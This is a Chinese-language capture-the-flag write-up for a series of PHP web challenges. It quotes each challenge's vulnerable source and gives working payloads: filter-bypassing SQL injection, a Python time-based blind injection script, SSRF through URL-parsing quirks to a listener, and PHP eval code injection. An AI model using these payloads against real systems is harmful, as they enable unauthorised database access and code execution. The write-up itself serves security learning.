Warm up
直接解码就好了
λ php -r "echo hex2bin(strrev(bin2hex(base64_decode('1wMDEyY2U2YTY0M2NgMTEyZDQyMjAzNWczYjZgMWI4NTt3YWxmY=')))); "
flag{582a0f2c7e302244b110cc461f5cb100}
Bad compare
打开后看到源码
<?php
error_reporting(0);
require __DIR__.'/lib.php';
if(isset($_GET['answer'])){
if($_GET['answer'] === 'роВхУъесЧМ'){
echo $flag;
}else{
echo 'Wrong answer';
}
echo '<hr>';
}
highlight_file(__FILE__);
直接复制粘贴不行,应该不是ascii中的可见字符,写个脚本跑一下
#coding=utf-8
import requests
import re
import urllib
url = 'http://badcompare.solveme.peng.kr/'
rule = '=== </span><span style="color: #DD0000">\'(.+?)\'</span><span style="color: #007700">'
r = requests.get(url)
result = re.findall(rule,r.content)
result = ''.join(result)
s = requests.get('http://badcompare.solveme.peng.kr/?answer='+urllib.quote(result))
print s.content
得到flag
flag{446c7b68ad824cd9c1df87158717aa2b}
Winter sleep
点进去看到源码
<?php
error_reporting(0);
require __DIR__.'/lib.php';
if(isset($_GET['time'])){
if(!is_numeric($_GET['time'])){
echo 'The time must be number.';
}else if($_GET['time'] < 60 * 60 * 24 * 30 * 2){
echo 'This time is too short.';
}else if($_GET['time'] > 60 * 60 * 24 * 30 * 3){
echo 'This time is too long.';
}else{
sleep((int)$_GET['time']);
echo $flag;
}
echo '<hr>';
}
highlight_file(__FILE__);
要求输入一个time,必须是数字,大于60 * 60 * 24 * 30 * 2(5184000),小于60 * 60 * 24 * 30 * 3(7776000),然后等待int(time)秒给出flag,直接输入数值肯定不现实,这里可以用到科学记数法,传入6e6。int(‘6e6’)=6,等待6秒即可。
flag{2d4e9b6608efb8088abb2345ef2f7b90}
Hard login
源码
<?php
error_reporting(0);
session_start();
require __DIR__.'/lib.php';
if(isset($_GET['username'], $_GET['password'])){
if(isset($_SESSION['hard_login_check'])){
echo 'Already logged in..';
}else if(!isset($_GET['username']{3}) || strtolower($_GET['username']) != $hidden_username){
echo 'Wrong username..';
}else if(!isset($_GET['password']{7}) || $_GET['password'] != $hidden_password){
echo 'Wrong password..';
}else{
$_SESSION['hard_login_check'] = true;
echo 'Login success!';
header('Location: ./');
}
echo '<hr>';
}
highlight_file(__FILE__);
测试username=admin&password=admin,返回Wrong username,说明用户名正确。
然后尝试了爆破password,然而没爆出来= =
尝试访问 ./ ,发现有一个跳转,bp抓包,ctrl+r,go,素质三连,得到flag
flag{0c6c0da40b898083181495d760759e78}
URL filtering
源码
<?php
error_reporting(0);
require __DIR__."/lib.php";
$url = urldecode($_SERVER['REQUEST_URI']);
$url_query = parse_url($url, PHP_URL_QUERY);
$params = explode("&", $url_query);
foreach($params as $param){
$idx_equal = strpos($param, "=");
if($idx_equal === false){
$key = $param;
$value = "";
}else{
$key = substr($param, 0, $idx_equal);
$value = substr($param, $idx_equal + 1);
}
if(strpos($key, "do_you_want_flag") !== false || strpos($value, "yes") !== false){
die("no hack");
}
}
if(isset($_GET['do_you_want_flag']) && $_GET['do_you_want_flag'] == "yes"){
die($flag);
}
highlight_file(__FILE__);
想了半天,不会。看到师傅们的wp,学到了。
考点在于pares_url()解析漏洞,在?前添加 / 会使pares_url函数返回false,这样可以绕过前面的判断
http://urlfiltering.solveme.peng.kr//?do_you_want_flag=yes
得到flag
flag{dce9d958be17f0f360b8148706e87bf2}
官方WP
http://urlfiltering.solveme.peng.kr/?%23&do_you_want_flag=yes
通过注入,使上下获取的字符串不对称绕过
Hash collision
给出源码
<?php
error_reporting(0);
require __DIR__.'/lib.php';
if(isset($_GET['foo'], $_GET['bar'])){
if(strlen($_GET['foo']) > 30 || strlen($_GET['bar']) > 30){
die('Too long');
}
if($_GET['foo'] === $_GET['bar']){
die('Same value');
}
if(hash('sha512', $_GET['foo']) !== hash('sha512', $_GET['bar'])){
die('Different hash');
}
echo $flag, '<hr>';
}
highlight_file(__FILE__);
数组绕过即可
http://hashcollision.solveme.peng.kr/?foo[]=1&bar[]=2
flag
flag{0cec577bd45696ab552fe3ab6110c35b}
Array2String
源码
<?php
error_reporting(0);
require __DIR__.'/lib.php';
$value = $_GET['value'];
$username = $_GET['username'];
$password = $_GET['password'];
for ($i = 0; $i < count($value); ++$i) {
if ($_GET['username']) unset($username);
if ($value[$i] > 32 && $value[$i] < 127) unset($value);
else $username .= chr($value[$i]);
if ($username == '15th_HackingCamp' && md5($password) == md5(file_get_contents('./secret.passwd'))) {
echo 'Hello '.$username.'!', '<br>', PHP_EOL;
echo $flag, '<hr>';
}
}
highlight_file(__FILE__);
传入数组value,不能传入username,通过value拼接的方式构造username使username等于 ‘15th_HackingCamp ‘ ,但是规定value的ascii值不能在32和127之间。想到强转和弱比较的方式绕过,写了个脚本
<?php
$str = '15th_HackingCamp';
for ($j=0; $j < strlen($str); $j++) {
foreach (get_char() as $key => $value) {
if ($str[$j] == $value){
echo 'value[]='.$key.'&';
break;
}
}
}
function get_char(){
$i = 0;
$arr = array();
while ($i <= 40) {
$str = $i."e1";
if ($str > 32 && $str < 127){}
else
{
if ((ord(chr($str))>32)&&(ord(chr($str))<127))
{
// echo "str:".$str."----chr:".chr($str)."\n";
$arr["$str"] = chr($str);
}
}
$i = $i+0.1;
}
return $arr;
}
?>
得到一个payload
value[]=30.5e1&value[]=30.9e1&value[]=37.2e1&value[]=36e1&value[]=35.1e1&value[]=32.8e1&value[]=35.3e1&value[]=35.5e1&value[]=36.3e1&value[]=36.1e1&value[]=36.6e1&value[]=35.9e1&value[]=32.3e1&value[]=35.3e1&value[]=36.5e1&value[]=36.8e1&password=simple_passw0rd
password可以访问./secret.passwd得到
然后看到师傅们的脚本让我无地自容= =
<?php
$username = '15th_HackingCamp';
$arr = str_split($username);
foreach($arr as $value){
$value = ord($value) + 256;
$payload .= 'value[]=' . $value . '&';
}
echo $payload .= 'password=simple_passw0rd';
这里使用了PHP中的chr()特性
Note that if the number is higher than 256, it will return the number mod 256.
For example :
chr(321)=A because A=65(256)
# 请注意,如果数字高于256,它将返回数字mod 256。
flag
flag{91b966596782c89bc6eb4daa75f459d7}
Give me a link
源码
<?php
error_reporting(0);
require __DIR__.'/lib.php';
if(isset($_GET['url'])){
$url = $_GET['url'];
if(preg_match('/_|\s|\0/', $url)){
die('Not allowed character');
}
if(!preg_match('/^https?\:\/\/'.$_SERVER['HTTP_HOST'].'/i', $url)){
die('Not allowed URL');
}
$parse = parse_url($url);
if($parse['path'] !== '/plz_give_me'){
die('Not allowed path');
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $parse['scheme'].'://'.$parse['host'].'/'.$flag);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_exec($ch);
curl_close($ch);
echo 'Okay, I sent the flag.', '<hr>';
}
highlight_file(__FILE__);
过滤了_,但是下面又要求paesr后的path为 /plz_give_me ,这就有个冲突
查询paesr_url发现
url
The URL to parse. Invalid characters are replaced by _.
# 无效的字符会被替换成_
本题测试一下
<?php
$url = $_GET['url'];
echo $_SERVER['HTTP_HOST']."</br>";
var_dump(parse_url($url));
传入一个url
?url=https://www.baidu.com:8080/t%0aest
array(4) { ["scheme"]=> string(5) "https" ["host"]=> string(13) "www.baidu.com" ["port"]=> int(8080) ["path"]=> string(6) "/t_est" }
还有一个冲突,由于没有回显,获取flag需要 $parse[‘host’]
但是前面限制了必须包含 $_SERVER[‘HTTP_HOST’]
http://login:passwd@www.baidu.com:port/path/?id=1&passwd=1
协议:层级标识符 账号:密码@域名:端口/路径?查询字符串#片段id
查看url构成,可以用@绕过,payload如下
?url=https://givemealink.solveme.peng.kr@ip/plz%1agive%1ame
# ip更换为vps的ip就行了
得到flag
[25/May/2018:16:21:40 +0800] "GET /flag{0983f9eaa0357982b2c0b4c6c037dfe3}
Give me a link 2
源码
<?php
error_reporting(0);
require __DIR__.'/lib.php';
if(isset($_GET['url'])){
$url = $_GET['url'];
if(preg_match('/_|\s|\0/', $url)){
die('Not allowed character');
}
$parse = parse_url($url);
if(!preg_match('/^https?$/i', $parse['scheme'])){
die('Not allowed scheme');
}
if(!preg_match('/^(localhost|127\.\d+\.\d+\.\d+|[^.]+)(\:\d+)?$/i', $parse['host'])){
die('Not allowed host');
}
if(!preg_match('/\/plz_give_me$/', $parse['path'])){
die('Not allowed path');
}
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if($socket === false){
die('Failed to create socket');
}
$host = gethostbyname($parse['host']);
$port = is_null($parse['port']) ? 80 : $parse['port'];
if(socket_connect($socket, $host, $port) === false){
die('Failed to connect');
}
$send = "HEAD /".$flag." HTTP/1.1\r\n".
"Host: ".$host.":".$port."\r\n".
"Connection: Close\r\n".
"\r\n\r\n";
socket_write($socket, $send, strlen($send));
$recv = socket_read($socket, 1024);var_dump($recv);
if(!preg_match('/^HTTP\/1.1 200 OK\r\n/', $recv)){
die('Not allowed response');
}
socket_close($socket);
echo 'Okay, I sent the flag.', '<hr>';
}
highlight_file(__FILE__);
跟上一题区别不大,只是对host加了一个处理
if(!preg_match('/^(localhost|127\.\d+\.\d+\.\d+|[^.]+)(\:\d+)?$/i', $parse['host'])){
die('Not allowed host');
}
必须是127开头或者是localhost或者是纯字符串,这里只要把ip由点分十进制转化成其他格式即可,payload
?url=https://ip:8080/plz%1agive%1ame
vps监听8080端口,得到flag
flag{51e22d08303881dd898f916cb1956c4e}
Replace filter
源码
<?php
error_reporting(0);
require __DIR__.'/lib.php';
if(isset($_GET['say']) && strlen($_GET['say']) < 20){
$say = preg_replace('/^(.*)flag(.*)$/', '${1}<!-- filtered -->${2}', $_GET['say']);
if(preg_match('/give_me_the_flag/', $say)){
echo $flag;
}else{
echo 'What the f**k?';
}
echo '<hr>';
}
highlight_file(__FILE__);
正则匹配的rule为
/^(.*)flag(.*)$/
这样写的正则是有缺陷的,^$限制了匹配的要在同一行,. 不匹配换行,如果加入还换行就匹配失败,即加上%0a即可
http://replacefilter.solveme.peng.kr/?say=%0agive_me_the_flag
附PHP常见的元字符
\ 一般用于转义字符
^ 断言目标的开始位置(或在多行模式下是行首)
$ 断言目标的结束位置(或在多行模式下是行尾)
. 匹配除换行符外的任何字符(默认)
[ 开始字符类定义
] 结束字符类定义
| 开始一个可选分支
( 子组的开始标记
) 子组的结束标记
? 作为量词,表示 0 次或 1 次匹配。位于量词后面用于改变量词的贪婪特性。 (查阅量词)
* 量词,0 次或多次匹配
+ 量词,1 次或多次匹配
{ 自定义量词开始标记
} 自定义量词结束标记
flag
flag{f7b4422c4570282e64560f081701ccfa}
Hell JS
把给出的jsfuck代码放到sublime里面用ctrl+shift+空格一直找,大概有个选中了近半个源代码的jsfuck代码放到控制台解一下就行了
得到flag
flag{21df4ad3ce31af845cf9cd6a5eddbb91}
Anti Sqli
sql注入,直接给出了源码
<?php
// It's 'Anti SQLi' problem of 'Solve Me'.
error_reporting(0);
require __DIR__.'/lib.php';
$id = $_GET['id'];
$pw = $_GET['pw'];
if(isset($id, $pw)){
preg_match(
'/\.|\`|"|\'|\\|\xA0|\x0B|0x0C|\t|\r|\n|\0|'.
'=|<|>|\(|\)|@@|\|\||&&|#|\/\*.*\*\/|--[\s\xA0]|'.
'0x[0-9a-f]+|0b[01]+|x\'[0-9a-f]+\'|b\'[01]+\'|'.
'[\s\xA0\'"]+(as|or|and|r*like|regexp)[\s\xA0\'"]+|'.
'union[\s\xA0]+select|[\s\xA0](where|having)|'.
'[\s\xA0](group|order)[\s\xA0]+by|limit[\s\xA0]+\d|'.
'information_schema|procedure\s+analyse\s*/is',
$id.','.$pw
) and die('Hack detected');
$con = mysqli_connect($sql_host, $sql_username, $sql_password, $sql_dbname)
or die('SQL server down');
$result = mysqli_fetch_array(
mysqli_query(
$con,
"SELECT * FROM `antisqli` WHERE `id`='{$id}' AND `pw`=md5('{$pw}');"
)
);
mysqli_close($con);
if(isset($result)){
if($result['no'] === '31337'){
echo $flag;
}else{
echo 'Hello, ', $result['id'];
}
}else{
echo 'Login failed';
}
echo '<hr>';
}
highlight_file(__FILE__);
先看过滤部分
'/\.|\`|"|\'|\\|\xA0|\x0B|0x0C|\t|\r|\n|\0|'.
使用 | \ \ | 过滤 \ ,但这样是过滤不了的,正确的 \ 过滤方法应该是 |\ \ \ \ | ,可以使用 \ 来吃掉id的一个单引号
再看一下注释的过滤部分
|#|--[\s\xA0]|'.
%23用不了了,– 的过滤,限制了%A0,及元字符,尝试不可见字符,发现%0F可以
union select的过滤可以使用union all select绕过
根据查询语句猜测可能有3列,no,id及pw
测试payload
http://antisqli.thinkout.rf.gd/?id=\&pw=union%20all%20select%201,2,3%20from%20antisqli%20--%0F
返回2,id是2,猜测1是no,更改payload
http://antisqli.thinkout.rf.gd/?id=\&pw=union%20all%20select%2031337,2,3%20from%20antisqli%20--%0F
得到flag
flag{5a0841c4738a69af352a06d282bece78}
Name Check
源码
<?php
error_reporting(0);
require __DIR__.'/lib.php';
if(isset($_GET['name'])){
$name = $_GET['name'];
if(preg_match("/admin|--|;|\(\)|\/\*|\\0/i", $name)){
echo 'Not allowed input';
goto quit;
}
$sql = new SQLite3('name_check.db', SQLITE3_OPEN_READWRITE);
$res = $sql->query("
SELECT
MAX('0','1','{$name}') LIKE 'a%',
INSTR('{$name}','d')>0,
MIN('{$name}','b','c') LIKE '__m__',
SUBSTR('{$name}',-2)='in'
;");
if($res === false){
echo 'Database error';
goto quit;
}
$row = $res->fetchArray(SQLITE3_NUM);
if(
$row[0] + $row[1] + $row[2] + $row[3] !== 4 ||
array_sum($row) !== 4
){
echo 'Auth failed';
goto quit;
}
echo $flag;
quit:
echo '<hr>';
}
highlight_file(__FILE__);
看看获取flag的要求
$row[0] + $row[1] + $row[2] + $row[3] !== 4 ||
array_sum($row) !== 4
就是说前面的四个语句执行结果都为true,看看语句
MAX('0','1','{$name}') LIKE 'a%',
INSTR('{$name}','d')>0,
MIN('{$name}','b','c') LIKE '__m__',
SUBSTR('{$name}',-2)='in'
第一条,输入的name必须以a开头
第二条,输入的name必须包含d
第三条,name长度为5,中间是m
第四条,name必须以in结尾
这不就是admin么,,但是前面又过滤了admin,百度发现sqlite字符串连接使用 || ,前面的过滤并没有过滤 ||,构造payload
http://namecheck.solveme.peng.kr/?name=a%27||%27dmin
得到flag
flag{623870cc3336cf126a8345697464aadc}
I am slowly
源码
<?php
// It's 'I am slowly' problem of 'Solve Me'.
error_reporting(0);
require __DIR__.'/lib.php';
$table = 'iamslowly_'.ip2long($_SERVER['REMOTE_ADDR']);
$answer = $_GET['answer'];
if(isset($answer)){
$con = mysqli_connect($sql_host, $sql_username, $sql_password, $sql_dbname)
or die('SQL server down');
$result = mysqli_fetch_array(
mysqli_query($con, "SELECT `count` FROM `{$table}`;")
);
if(!isset($result)){
mysqli_query($con, "CREATE TABLE IF NOT EXISTS `{$table}` (`answer` char(32) NOT NULL, `count` int(4) NOT NULL);");
$new_answer = md5(sha1('iamslowly_'.mt_rand().'_'.mt_rand().'_'.mt_rand()));
mysqli_query($con, "INSERT INTO `{$table}` (`answer`,`count`) VALUES ('{$new_answer}',1);");
}elseif($result['count'] === '12'){
mysqli_query($con, "DROP TABLE `{$table}`;");
echo 'Game over';
goto quit;
}
$randtime = mt_rand(1, 10);
$result = mysqli_fetch_array(
mysqli_query($con, "SELECT * FROM `{$table}` WHERE sleep({$randtime}) OR `answer`='{$answer}';")
);
if(isset($result) && $result['answer'] === $answer){
mysqli_query($con, "DROP TABLE `{$table}`;");
echo $flag;
}else{
mysqli_query($con, "UPDATE `{$table}` SET `count`=`count`+1;");
echo 'Go fast';
}
quit:
mysqli_close($con);
echo '<hr>';
}
highlight_file(__FILE__);
审计一番,可以找到注入点
mysqli_query($con, "SELECT * FROM `{$table}` WHERE sleep({$randtime}) OR `answer`='{$answer}';")
但是题目有个做了限制,每次执行sql语句会执行一次 count+1,当count等于12时游戏结束。
但是有个逻辑上的错误就是,先查询count值,再执行sql语句,然后再进行 count+1,所以我们可以在count值为11的时候设置一个sleep,睡眠时间可以长一点,然后在发送一个不带sleep的sql语句,后发送的请求肯定先完成,这时候count为12,然后等待第一个语句执行结束,此时count为13,这时就已经绕过前面的限制,就可以开始盲注了。
…
…
经过N久的测试,不知道哪没弄好,总是绕不过去12的限制,于是,,我放弃了,233333
贴个脚本,有兴趣的自己测测
import requests
header = {
"Cookie":"__test=de2f0bea16438ccba78ff6517df65489"
}
flag = ""
for i in range(1,2):
# times = 0
for j in "abcdef1234567890":
url = "http://iamslowly.thinkout.rf.gd/?answer=' or if((answer like '%s%%'),sleep(30),1)%%23"%(flag+j)
try:
# times += 1
r = requests.get(url=url,headers=header,timeout=29)
print "i:",i,"j:",j,r.content[:10],"flag",flag
if r.content[:4] == 'Game':
break
except:
flag += j
print flag
break
# continue
# if times == 11:
# break
Check via eval
源代码
<?php
error_reporting(0);
require __DIR__.'/lib.php';
$exam = 'return\''.sha1(time()).'\';';
if (!isset($_GET['flag'])) {
echo '<a href="./?flag='.$exam.'">Click here</a>';
}
else if (strlen($_GET['flag']) != strlen($exam)) {
echo 'Not allowed length';
}
else if (preg_match('/`|"|\.|\\\\|\(|\)|\[|\]|_|flag|echo|print|require|include|die|exit/is', $_GET['flag'])) {
echo 'Not allowed keyword';
}
else if (eval($_GET['flag']) === sha1($flag)) {
echo $flag;
}
else {
echo 'What\'s going on?';
}
echo '<hr>';
highlight_file(__FILE__);
先看获得flag的条件
eval($_GET['flag']) === sha1($flag)
两种思路,一是执行shal($flag),但是()被过滤了,那就只能是第二种方法了,直接输出flag,过滤了echo、print、require等,反正就是常规的函数没法输出了,,那就找找不常见的,先看看eval函数
需要被执行的字符串
代码不能包含打开/关闭 PHP tags。比如, *'echo "Hi!";'* 不能这样传入: *'<?php echo "Hi!"; ?>'*。但仍然可以用合适的 PHP tag 来离开、重新进入 PHP 模式。比如 *'echo "In PHP mode!"; ?>In HTML mode!<?php echo "Back in PHP mode!";'*。
除此之外,传入的必须是有效的 PHP 代码。所有的语句必须以分号结尾。比如 *'echo "Hi!"'* 会导致一个 parse error,而 *'echo "Hi!";'* 则会正常运行。
*return* 语句会立即中止当前字符串的执行。
代码执行的作用域是调用 **eval()** 处的作用域。因此,**eval()** 里任何的变量定义、修改,都会在函数结束后被保留。
然后查到echo有一个特殊用法
**echo** 也有一个快捷用法,你可以在打开标记前直接用一个等号。在 PHP 5.4.0 之前,必须在php.ini 里面启用 short_open_tag才有效。
看看例子
<?php
$str = 'Hello, world!';
//下面两种输出方式,后者是前者的快捷用法
?>
<?php echo $str?>
<?=$str?>
通过echo的快捷用法来输出$flag,使用拼接替换的方式构造
$a='flaa';$a{3}='g';<?=${$a}?>;
payload
$a='flaa';$a{3}='g';11111111111111;?><?=${$a}?><?
flag
flag{47d07abef31b3adb4a4107bd2b2b3d7e}